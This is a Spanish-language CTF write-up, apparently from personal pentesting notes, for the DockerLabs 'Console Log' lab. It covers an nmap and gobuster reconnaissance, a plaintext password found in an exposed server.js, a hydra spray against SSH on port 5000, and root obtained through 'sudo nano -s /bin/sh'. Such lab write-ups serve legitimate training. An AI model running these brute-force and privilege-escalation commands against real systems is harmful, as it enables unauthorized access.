> For the complete documentation index, see [llms.txt](https://mis-apuntes-1.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mis-apuntes-1.gitbook.io/pentesting/dockerlabs/facil/console-log.md).
# Console Log
Dificultad: Fácil
***
IP: `172.17.0.2`
***
### 1. RECONOCIMIENTO
Empezamos con un escaneo de puertos sencillo:
Bash
```
nmap -sCV -p- 172.17.0.2 -oN targeted -Pn
```
Encontramos lo siguiente:
* Puerto 80 abierto
* Puerto 3000/tcp abierto: Encontramos que el http-title da error (posible explotación).
* Puerto 5000/tcp ssh abierto: Vemos que tienen el ssh abierto en el puerto 5000. Lo tendremos en cuenta para ataque de fuerza bruta mas adelante.
***
### 2. ENUMERACIÓN
Escaneamos directorios:
Bash
```
gobuster dir -u http://172.17.0.2:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt -t 50
```
Encontramos lo siguiente:
* Directorio /backend expuesto (puede haber cosas de interés ahí).
* Directorio /JavaScript abierto (código JavaScript vulnerable).
* authentication.js expuesto.
***
### 3. EXPLOTACIÓN
Accedo a /backend y veo que hay un archivo que se llama server.js. Contiene lo siguiente:
Hemos encontrado la contraseña en texto plano
Hago fuerza bruta al usuario con la contraseña encontrada "lapassworddebackupmaschingonadetodas"
Bash
```
hydra -L /usr/share/wordlists/rockyou.txt -p 'lapassworddebackupmaschingonadetodas' -s 5000 ssh://172.17.0.2 -t 10
```
Accedo por ssh:
Bash
```
ssh lovely@172.17.0.2 -p 5000
```
***
### 4. ESCALADA DE PRIVILEGIOS
Hago sudo -l para ver los privilegios de sudo:
Bash
```
sudo -l
```
Escalo privilegios:
Bash
```
sudo nano -s /bin/sh
```
***
### 5. POST-EXPLOTACIÓN
Root conseguido:
---
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